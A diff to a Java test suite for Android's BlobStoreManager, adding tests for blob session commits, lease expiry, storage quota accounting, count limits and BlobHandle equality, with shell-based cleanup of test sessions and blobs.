@@ -62,10 +62,17 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Collections;
import java.util.Map;
import java.util.Objects;
+import java.util.Random;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -81,16 +88,24 @@
private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
+ private static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
+
// TODO: Make it a @TestApi or move the test using this to a different location.
// Copy of DeviceConfig.NAMESPACE_BLOBSTORE constant
private static final String NAMESPACE_BLOBSTORE = "blobstore";
private static final String KEY_SESSION_EXPIRY_TIMEOUT_MS = "session_expiry_timeout_ms";
private static final String KEY_LEASE_ACQUISITION_WAIT_DURATION_MS =
"lease_acquisition_wait_time_ms";
+ private static final String KEY_DELETE_ON_LAST_LEASE_DELAY_MS =
+ "delete_on_last_lease_delay_ms";
private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
"total_bytes_per_app_limit_floor";
- public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+ private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
"total_bytes_per_app_limit_fraction";
+ private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+ private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+ private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+ private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
private static final String HELPER_PKG = "com.android.cts.blob.helper";
private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -117,9 +132,9 @@
@After
public void tearDown() throws Exception {
- for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
- mBlobStoreManager.releaseLease(blobHandle);
- }
+ runShellCmd("cmd blob_store clear-all-sessions");
+ runShellCmd("cmd blob_store clear-all-blobs");
+ mContext.getFilesDir().delete();
}
@Test
@@ -202,9 +217,15 @@
blobData.readFromSessionAndVerifyBytes(session,
101 /* offset */, 1001 /* length */);
- blobData.writeToSession(session, 202 /* offset */, 2002 /* length */);
+ blobData.writeToSession(session, 202 /* offset */, 2002 /* length */,
+ blobData.getFileSize());
blobData.readFromSessionAndVerifyBytes(session,
202 /* offset */, 2002 /* length */);
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+ .isEqualTo(0);
}
} finally {
blobData.delete();
@@ -592,6 +613,228 @@
}
@Test
+ public void testSessionCommit_incompleteData() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+ try {
+ final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session, 0, blobData.getFileSize() - 2);
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+ .isEqualTo(1);
+ }
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ @Test
+ public void testSessionCommit_incorrectData() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+ try {
+ final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session, 0, blobData.getFileSize());
+ try (OutputStream out = new ParcelFileDescriptor.AutoCloseOutputStream(
+ session.openWrite(0, blobData.getFileSize()))) {
+ out.write("wrong_data".getBytes(StandardCharsets.UTF_8));
+ }
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+ .isEqualTo(1);
+ }
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ @Test
+ public void testRecommitBlob() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+
+ try {
+ commitBlob(blobData);
+ // Verify that blob can be accessed after committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+
+ commitBlob(blobData);
+ // Verify that blob can be accessed after re-committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ @Test
+ public void testRecommitBlob_fromMultiplePackages() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+ final TestServiceConnection connection = bindToHelperService(HELPER_PKG);
+ try {
+ commitBlob(blobData);
+ // Verify that blob can be accessed after committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+
+ commitBlobFromPkg(blobData, connection);
+ // Verify that blob can be accessed after re-committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+ assertPkgCanAccess(blobData, connection);
+ } finally {
+ blobData.delete();
+ connection.unbind();
+ }
+ }
+
+ @Test
+ public void testSessionCommit_largeBlob() throws Exception {
+ final long fileSizeBytes = Math.min(mBlobStoreManager.getRemainingLeaseQuotaBytes(),
+ 150 * 1024L * 1024L);
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+ .setFileSize(fileSizeBytes)
+ .build();
+ blobData.prepare();
+ final long commitTimeoutSec = TIMEOUT_COMMIT_CALLBACK_SEC * 2;
+ try {
+ final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session);
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertThat(callback.get(commitTimeoutSec, TimeUnit.SECONDS))
+ .isEqualTo(0);
+ }
+
+ // Verify that blob can be accessed after committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ @Test
+ public void testCommitSession_multipleWrites() throws Exception {
+ final int numThreads = 2;
+ final Random random = new Random(0);
+ final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+ final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+ for (int i = 0; i < numThreads; ++i) {
+ completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+ final int minSizeMb = 30;
+ final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+ .setFileSize(fileSizeBytes)
+ .build();
+ try {
+ blobData.prepare();
+ commitAndVerifyBlob(blobData);
+ } catch (Throwable t) {
+ return t;
+ } finally {
+ blobData.delete();
+ }
+ return null;
+ }, executorService);
+ }
+ final ArrayList<Throwable> invalidResults = new ArrayList<>();
+ for (int i = 0; i < numThreads; ++i) {
+ final Throwable result = completableFutures[i].get();
+ if (result != null) {
+ invalidResults.add(result);
+ }
+ }
+ assertThat(invalidResults).isEmpty();
+ }
+
+ @Test
+ public void testCommitSession_multipleReadWrites() throws Exception {
+ final int numThreads = 2;
+ final Random random = new Random(0);
+ final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+ final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+ for (int i = 0; i < numThreads; ++i) {
+ completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+ final int minSizeMb = 30;
+ final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+ .setFileSize(fileSizeBytes)
+ .build();
+ try {
+ blobData.prepare();
+ final long sessionId = mBlobStoreManager.createSession(
+ blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(
+ sessionId)) {
+ final long partialFileSizeBytes = minSizeMb * 1024L * 1024L;
+ blobData.writeToSession(session, 0L, partialFileSizeBytes,
+ blobData.getFileSize());
+ blobData.readFromSessionAndVerifyBytes(session, 0L,
+ (int) partialFileSizeBytes);
+ blobData.writeToSession(session, partialFileSizeBytes,
+ blobData.getFileSize() - partialFileSizeBytes,
+ blobData.getFileSize());
+ blobData.readFromSessionAndVerifyBytes(session, partialFileSizeBytes,
+ (int) (blobData.getFileSize() - partialFileSizeBytes));
+
+ final CompletableFuture<Integer> callback = new CompletableFuture<>();
+ session.commit(mContext.getMainExecutor(), callback::complete);
+ assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+ .isEqualTo(0);
+ }
+
+ // Verify that blob can be accessed after committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(
+ blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+ } catch (Throwable t) {
+ return t;
+ } finally {
+ blobData.delete();
+ }
+ return null;
+ }, executorService);
+ }
+ final ArrayList<Throwable> invalidResults = new ArrayList<>();
+ for (int i = 0; i < numThreads; ++i) {
+ final Throwable result = completableFutures[i].get();
+ if (result != null) {
+ invalidResults.add(result);
+ }
+ }
+ assertThat(invalidResults).isEmpty();
+ }
+
+ @Test
public void testOpenBlob() throws Exception {
final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
blobData.prepare();
@@ -602,7 +845,7 @@
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
blobData.writeToSession(session);
- // Verify that trying to access the blob before commit throws
+ // Verify that trying to accessed the blob before commit throws
assertThrows(SecurityException.class,
() -> mBlobStoreManager.openBlob(blobData.getBlobHandle()));
@@ -612,7 +855,7 @@
.isEqualTo(0);
}
- // Verify that blob can be access after committing.
+ // Verify that blob can be accessed after committing.
try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
assertThat(pfd).isNotNull();
@@ -697,11 +940,30 @@
}
@Test
- public void testAcquireRelease_deleteImmediately() throws Exception {
+ public void testAcquireLease_leaseExpired() throws Exception {
final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
blobData.prepare();
+ final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+ try {
+ commitBlob(blobData);
+
+ acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+ System.currentTimeMillis() + waitDurationMs);
+ assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+ waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+ assertNoLeasedBlobs(mBlobStoreManager);
+ } finally {
+ blobData.delete();
+ }
+ }
+
+ @Test
+ public void testAcquireRelease_deleteAfterDelay() throws Exception {
final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
runWithKeyValues(() -> {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
try {
commitBlob(blobData);
@@ -714,6 +976,10 @@
releaseLease(mContext, blobData.getBlobHandle());
assertNoLeasedBlobs(mBlobStoreManager);
+ SystemClock.sleep(waitDurationMs);
+ SystemUtil.runWithShellPermissionIdentity(() ->
+ mBlobStoreManager.waitForIdle(TIMEOUT_WAIT_FOR_IDLE_MS));
+
assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
blobData.getBlobHandle(), R.string.test_desc,
blobData.getExpiryTimeMillis()));
@@ -721,7 +987,8 @@
} finally {
blobData.delete();
}
- }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)));
+ }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)),
+ Pair.create(KEY_DELETE_ON_LAST_LEASE_DELAY_MS, String.valueOf(waitDurationMs)));
}
@Test
@@ -763,7 +1030,7 @@
final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
assertThat(sessionId).isGreaterThan(0L);
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
- blobData.writeToSession(session, 0, partialFileSize);
+ blobData.writeToSession(session, 0, partialFileSize, partialFileSize);
}
StorageStats afterStatsForPkg = storageStatsManager
@@ -780,7 +1047,8 @@
// Complete writing data.
final long totalFileSize = blobData.getFileSize();
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
- blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize);
+ blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize,
+ totalFileSize);
}
afterStatsForPkg = storageStatsManager
@@ -796,7 +1064,8 @@
// Commit the session.
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
- blobData.writeToSession(session, partialFileSize, session.getSize() - partialFileSize);
+ blobData.writeToSession(session, partialFileSize,
+ session.getSize() - partialFileSize, blobData.getFileSize());
final CompletableFuture<Integer> callback = new CompletableFuture<>();
session.commit(mContext.getMainExecutor(), callback::complete);
assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -915,6 +1184,64 @@
}
@Test
+ public void testStorageAttribution_withExpiredLease() throws Exception {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+
+ final StorageStatsManager storageStatsManager = mContext.getSystemService(
+ StorageStatsManager.class);
+ StorageStats beforeStatsForPkg = storageStatsManager
+ .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+ StorageStats beforeStatsForUid = storageStatsManager
+ .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+ commitBlob(blobData);
+
+ StorageStats afterStatsForPkg = storageStatsManager
+ .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+ StorageStats afterStatsForUid = storageStatsManager
+ .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+ // No leases on the blob, so it should not be attributed.
+ assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+ .isEqualTo(0L);
+ assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+ .isEqualTo(0L);
+
+ final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
+ acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+ System.currentTimeMillis() + leaseExpiryDurationMs);
+
+ final long startTimeMs = System.currentTimeMillis();
+ afterStatsForPkg = storageStatsManager
+ .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+ afterStatsForUid = storageStatsManager
+ .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+ assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+ .isEqualTo(blobData.getFileSize());
+ assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+ .isEqualTo(blobData.getFileSize());
+
+ waitForLeaseExpiration(
+ Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
+ blobData.getBlobHandle());
+
+ afterStatsForPkg = storageStatsManager
+ .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+ afterStatsForUid = storageStatsManager
+ .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+ // Lease is expired, so it should not be attributed anymore.
+ assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+ .isEqualTo(0L);
+ assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+ .isEqualTo(0L);
+
+ blobData.delete();
+ }
+
+ @Test
public void testLeaseQuotaExceeded() throws Exception {
final long totalBytes = Environment.getDataDirectory().getTotalSpace();
final long limitBytes = 100 * Utils.MB_IN_BYTES;
@@ -970,6 +1297,36 @@
}
@Test
+ public void testLeaseQuotaExceeded_withExpiredLease() throws Exception {
+ final long totalBytes = Environment.getDataDirectory().getTotalSpace();
+ final long limitBytes = 50 * Utils.MB_IN_BYTES;
+ final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+ .setFileSize(40 * Utils.MB_IN_BYTES)
+ .build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+ .setFileSize(30 * Utils.MB_IN_BYTES)
+ .build();
+ blobData2.prepare();
+
+ commitBlob(blobData1);
+ commitBlob(blobData2);
+ acquireLease(mContext, blobData1.getBlobHandle(), R.string.test_desc,
+ System.currentTimeMillis() + waitDurationMs);
+
+ assertThrows(LimitExceededException.class, () -> mBlobStoreManager.acquireLease(
+ blobData2.getBlobHandle(), R.string.test_desc));
+
+ waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+ acquireLease(mContext, blobData2.getBlobHandle(), R.string.test_desc);
+ }, Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR, String.valueOf(limitBytes)),
+ Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION,
+ String.valueOf((double) limitBytes / totalBytes)));
+ }
+
+ @Test
public void testRemainingLeaseQuota() throws Exception {
final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
final long blobSize = 100 * Utils.MB_IN_BYTES;
@@ -994,6 +1351,31 @@
}
@Test
+ public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
+ final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
+ final long blobSize = 100 * Utils.MB_IN_BYTES;
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+ .setFileSize(blobSize)
+ .build();
+ blobData.prepare();
+
+ final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+ commitBlob(blobData);
+ acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+ System.currentTimeMillis() + waitDurationMs);
+ assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+ assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+ .isEqualTo(initialRemainingQuota - blobSize);
+
+ waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+ assertNoLeasedBlobs(mBlobStoreManager);
+
+ assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+ .isEqualTo(initialRemainingQuota);
+ }
+
+ @Test
public void testAccessExpiredBlob() throws Exception {
final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
@@ -1045,6 +1427,40 @@
}
@Test
+ public void testAccessBlob_withExpiredLease() throws Exception {
+ final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
+ final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+ try {
+ final long blobId = commitBlob(blobData);
+ assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+ .isEqualTo("1");
+
+ acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+ System.currentTimeMillis() + leaseExpiryDurationMs);
+ assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+ waitForLeaseExpiration(leaseExpiryDurationMs, blobData.getBlobHandle());
+ assertNoLeasedBlobs(mBlobStoreManager);
+
+ triggerIdleMaintenance();
+ assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+ .isEqualTo("0");
+
+ assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
+ blobData.getBlobHandle(), R.string.test_desc,
+ blobData.getExpiryTimeMillis()));
+ assertNoLeasedBlobs(mBlobStoreManager);
+ } finally {
+ blobData.delete();
+ }
+ }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS,
+ String.valueOf(leaseAcquisitionWaitDurationMs)));
+ }
+
+ @Test
public void testCommitBlobAfterIdleMaintenance() throws Exception {
final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
blobData.prepare();
@@ -1054,7 +1470,7 @@
assertThat(sessionId).isGreaterThan(0L);
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
- blobData.writeToSession(session, 0, partialFileSize);
+ blobData.writeToSession(session, 0, partialFileSize, blobData.getFileSize());
}
SystemClock.sleep(waitDurationMs);
@@ -1064,7 +1480,7 @@
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
blobData.writeToSession(session, partialFileSize,
- blobData.getFileSize() - partialFileSize);
+ blobData.getFileSize() - partialFileSize, blobData.getFileSize());
final CompletableFuture<Integer> callback = new CompletableFuture<>();
session.commit(mContext.getMainExecutor(), callback::complete);
assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -1074,10 +1490,11 @@
@Test
public void testExpiredSessionsDeleted() throws Exception {
- final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
- blobData.prepare();
final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
runWithKeyValues(() -> {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+
final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
assertThat(sessionId).isGreaterThan(0L);
@@ -1092,15 +1509,16 @@
@Test
public void testExpiredSessionsDeleted_withPartialData() throws Exception {
- final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
- blobData.prepare();
final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
runWithKeyValues(() -> {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+
final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
assertThat(sessionId).isGreaterThan(0L);
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
- blobData.writeToSession(session, 0, 100);
+ blobData.writeToSession(session, 0, 100, blobData.getFileSize());
}
SystemClock.sleep(waitDurationMs);
@@ -1112,6 +1530,164 @@
}, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
}
+ @Test
+ public void testCreateSession_countLimitExceeded() throws Exception {
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+
+ mBlobStoreManager.createSession(blobData1.getBlobHandle());
+ assertThrows(LimitExceededException.class,
+ () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+ }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testCommitSession_countLimitExceeded() throws Exception {
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+
+ commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+ commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+ }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testLeaseBlob_countLimitExceeded() throws Exception {
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+
+ commitBlob(blobData1);
+ commitBlob(blobData2);
+
+ acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+ assertThrows(LimitExceededException.class,
+ () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+ }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testExpiredLease_countLimitExceeded() throws Exception {
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+ blobData1.prepare();
+ final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+ blobData2.prepare();
+ final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+ blobData3.prepare();
+ final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+
+ commitBlob(blobData1);
+ commitBlob(blobData2);
+ commitBlob(blobData3);
+
+ acquireLease(mContext, blobData1.getBlobHandle(), "test desc1",
+ System.currentTimeMillis() + waitDurationMs);
+ assertThrows(LimitExceededException.class,
+ () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+ System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4)));
+
+ waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+
+ acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+ System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4));
+ assertThrows(LimitExceededException.class,
+ () -> acquireLease(mContext, blobData3.getBlobHandle(), "test desc3"));
+ }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+ }
+
+ @Test
+ public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+ runWithKeyValues(() -> {
+ final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+ blobData.prepare();
+
+ final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+ assertThat(sessionId).isGreaterThan(0L);
+ try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+ blobData.writeToSession(session);
+
+ session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+ assertThrows(LimitExceededException.class,
+ () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+ }
+ }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+ }
+
+ @Test
+ public void testBlobHandleEquality() throws Exception {
+ // Check that BlobHandle objects are considered equal when digest, label, expiry time
+ // and tag are equal.
+ {
+ final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1111L, "tag");
+ final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1111L, "tag");
+ assertThat(blobHandle1).isEqualTo(blobHandle2);
+ }
+
+ // Check that BlobHandle objects are not equal if digests are not equal.
+ {
+ final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
+ "Dummy blob", 1111L, "tag");
+ final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
+ "Dummy blob", 1111L, "tag");
+ assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+ }
+
+ // Check that BlobHandle objects are not equal if expiry times are not equal.
+ {
+ final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1111L, "tag");
+ final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1112L, "tag");
+ assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+ }
+
+ // Check that BlobHandle objects are not equal if labels are not equal.
+ {
+ final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob1", 1111L, "tag");
+ final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob2", 1111L, "tag");
+ assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+ }
+
+ // Check that BlobHandle objects are not equal if tags are not equal.
+ {
+ final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1111L, "tag1");
+ final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+ "Dummy blob", 1111L, "tag2");
+ assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+ }
+ }
+
+ @Test
+ public void testBlobHandleCreation() throws Exception {
+ // Creating a BlobHandle with label > 100 chars will fail
+ {
+ final CharSequence label = String.join("", Collections.nCopies(101, "a"));
+ assertThrows(IllegalArgumentException.class,
+ () -> BlobHandle.createWithSha256("digest".getBytes(), label, 1111L, "tag"));
+ }
+
+ // Creating a BlobHandle with tag > 128 chars will fail
+ {
+ final String tag = String.join("", Collections.nCopies(129, "a"));
+ assertThrows(IllegalArgumentException.class,
+ () -> BlobHandle.createWithSha256("digest".getBytes(), "label", 1111L, tag));
+ }
+ }
+
private static void runWithKeyValues(ThrowingRunnable runnable,
Pair<String, String>... keyValues) throws Exception {
final Map<String, String> previousValues = new ArrayMap();
@@ -1146,12 +1722,27 @@
}
}
